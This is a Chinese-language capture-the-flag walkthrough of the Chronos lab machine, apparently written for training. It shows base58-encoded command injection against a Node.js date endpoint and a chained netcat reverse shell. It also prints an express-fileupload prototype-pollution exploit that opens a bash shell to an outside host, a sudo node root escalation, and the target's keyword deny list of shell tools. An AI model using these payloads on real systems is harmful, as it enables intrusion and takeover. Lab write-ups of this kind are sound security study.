目录
九、利用express-fileupload库的漏洞提权拿到imera权限
一、主机发现
利用netdiscover工具
最后的子网掩码最好 -8 扫描,这样扫描出来的效果更好
sudo netdiscover -r 192.168.43.27/16
可以看到 192.168.43.49就是我们要攻击的靶机
二、端口扫描
三、服务版本扫描
四、登录http协议服务所开放的端口
1.加载页面源代码
发现两个页面的源代码一样。唯一有用信息就是脚本里的信息,把他放到复制下来看一下。
2.查看脚本数据
发现是一堆加密的字符,所以试着去解密这些字符
五、Cyberchef进行解码
1.cyberchef简单介绍
三个框框,input是输入框,output是输出框,recipe译为佐料,这里是放置转码类型的地方。
2.javascript beauty把数据转码
经过 转码我们就看到了这些内容
有一条url信息对我们是有帮助的
3.利用这个网址
由于都是8000端口,猜测此域名和ip有所关联,为了让域名能正常解析,所以在kali上修改hosts文件,将ip与域名绑定到一起
4.尝试重新访问页面
爆出来一行 时间日期年月
4.解码参数
利用magic模块来解码参数,解码出来是linux里的日期参数,可以猜测此参数就是调用到linux中的命令端口,所以尝试对参数进行命令注入
六、尝试命令注入
&& ls
1.对其编码
还是采用cyberchef这个加解密的瑞士军刀,选择to base64模块
2.进行命令注入
注入十分顺利,可以看到存在命令注入漏洞。
七、nc连接
1.尝试nc是否可行
(1)侦听端口
nc -nvlp 5555
(2)建立连接
这里需要base58编码
nc 192.168.43.27 5555
页面报错,但是连接成功
2.nc串联
1.开启两个侦听端口
2.建立连接
要进行编码
&& nc 192.168.43.27 5555 | /bin/bash | nc 192.168.43.27 6666
7m71bMEyK3F7NzzUQKtp127YFLuqnV3pqN33VNWsDhnHuKrArnFkgtgARwefeJpPMVxrLDC2c9JHbik4pV
八、信息收集
1.查看当前目录下的文件
该web应用使用node.js来开发的,我们来查看这些文件,特别是依赖包文件package.json和主程序文件app.js
(1)package.json
该文件下有依赖的库bs58(base58),cors和express这个常用的web应用开发框架。
(2)查看app.js
// created by alienum for Penetration Testing
//导入依赖库,设置端口
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
//将地址进行路由的一个过程
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
//这里就是将date命令和解密后的参数拼接的一段代码
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
//首先判断agent是否为chronos本机,之后检测是否有恶意的命令注入语句,
//如果有则发出提醒Something went wrong,但是没有终止命令的执行
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
//运行前面拼接的命令
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
发现并没有对我们提权有所帮助的框架或者是信息。
2.对上一级目录进行查看
发现有一个chronos-v2的web应用,查看其中的文件
(1)server.js的内容,
可以看到address是127.0.0.1 端口port是8080,所以说这是架设在靶机服务器本地上的一个web应用。
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
(2)package.json文件
可以发现一个express-fileupload库,尝试去利用它。
3./etc/home
(1)imera用户
(2)查看imera家目录
发现有一个user.txt并且无法查看,只有imera用户具有权限
九、利用express-fileupload库的漏洞提权拿到imera权限
1.利用代码:
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')
2.步骤
(1)侦听端口
nc -nvlp 8888
(2)获得imera权限
(3)查看user.txt,得到flag
十、利用 sudo -l 提权获得root权限
1.用于显示当前用户可以用 sudo 执行那些命令。
sudo -l
2.利用node反弹shell
sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})'
拿到了第二个flag